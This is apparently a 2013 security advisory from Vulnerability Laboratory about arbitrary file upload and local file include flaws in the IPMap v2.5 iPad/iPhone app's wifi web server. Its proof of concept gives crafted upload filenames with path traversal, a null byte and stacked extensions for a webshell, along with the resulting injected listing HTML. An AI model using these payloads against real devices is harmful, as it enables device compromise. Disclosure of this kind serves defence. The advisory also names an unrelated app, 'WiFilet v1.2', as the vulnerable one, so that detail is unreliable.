IPMap v2.5 iPad iPhone - Arbitrary File Upload Web Vulnerabilities




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IP address Hostname
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HTTP Wireless File Sharing
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Web Upload File Support
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(Copy of the Homepage: https://itunes.apple.com/us/app/ipmap-ip-address-lookup-details/id416041538 )

The Vulnerability Laboratory Research Team discovered an arbitrary file upload vulnerability in the mobile IPMap v2.5 app for the apple ipad & iphone.

2013-02-18:	Public Disclosure


Affected Products:
Apple AppStore
Product: IPMap - iPad iPhone 2.5



A local file include and arbitrary file upload web vulnerability via POST request method is detected in the mobile IPMap v2.5 app 
for the apple ipad & iphone. The vulnerability allows remote attackers via POST method to inject local app webserver folders to 
request unauthorized local webserver files.

The main vulnerbility is located in the upload file script of the webserver ( when processing to load a manipulated 
filename via POST request method. The execution of the injected path or file request will occur when the attacker is watching the file index listing
of the wifi web application web-server.

Remote attackers can also unauthorized implement mobile webshells by using multiple file extensions (pentest.php.js.gif) when processing to 
upload (submit) via POST request method. The attacker uploads a file with a double extension or multiple extensions and access the file in the 
secound step via directory webserver dir listing to compromise the apple iphone or ipad.

Exploitation of the local file include web vulnerability does not require user interaction and also no privileged user account.
Successful exploitation of the web vulnerabilities results in app/service manipulation and ipad or iphone compromise via file 
include or unauthorized file (webshell) upload attacks.

Vulnerable Application(s):
				[+] WiFilet v1.2 - ITunes or AppStore (Apple)

Vulnerable Module(s):
				[+] File Upload via Submit (Web Server) [Remote]

Vulnerable Parameter(s):
				[+] file > filename

Affected Module(s):
				[+] File Dir Index - Listing

Proof of Concept:
Both vulnerabilities can be exploited by remote attackers without privileged application user account and also without required user interaction.
For demonstration or reproduce ...

Content-Disposition: form-data; name="file"; filename="../../../../cmd>home>tmp%00<'.png"
Content-Type: image/png

Review: File Dir Listing

<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"><title>IPMap</title>
<style>body { background-color:#f0f7fd; font-family:Tahoma,Arial,Helvetica,sans-serif; 
font-size:18x; padding:15px; margin-left:15%; margin-right:15%; } </style></head><body>
<h2 style="background-color:#6897ff; margin:0; color:#fff; padding:5px 10px; border: 1px outset #aaa;border-bottom: 0px;">IPMap</h2>
<h4 style="background-color:#6897ff;margin:0; color:#fff; padding:0px 10px 8px 10px; border: 1px outset #aaa; border-top: 0px;">
The following files are hosted live from the iPhone's Docs folder.</h4><p><table style="text-align:center; border-color:#9bc0d2; 
background:#f0f7fd; color:#4e697a;  margin:0 auto;" border="1" cellpadding="0" cellspacing="0"><tbody><tr height="30"><td width="400">
<strong>File Name</strong></td><td width="400"><strong>File Info</strong></td></tr><tr height="30">
<td><a href=">home>tmp%00<'">%20%20%20%20&"><iframe src="../../../../cmd>home>tmp%00<'">%20%20%20%20&">
%20%20%20%20</a></td><td>(27.3 Kb, 2013-02-07 07:00:31 +0000)</td></tr></table></p><form action="" 
method="post" enctype="multipart/form-data" name="form1" 
id="form1"><table border="0" cellpadding="0" cellspacing="0" 
style="text-align:center; margin:0 auto;"><tr 
height="50"><td width="400"><label>upload file<input 
type="file" name="file" id="file" /></label></td><td 
width="400"><label><input type="submit" name="button" 
id="button" value="Submit" /> <font size="-1">* Please do NOT 
upload index.htm or 

Content-Disposition: form-data; name="file"; filename="pentest.php.js.html.htm.xml.png"
Content-Type: image/gif


The security risk of the arbitrary file upload web vulnerability via POST request method is estimated as critical.

Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm@vulnerability-lab.com)

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IPMap v2.5 iPad iPhone – Arbitrary File Upload
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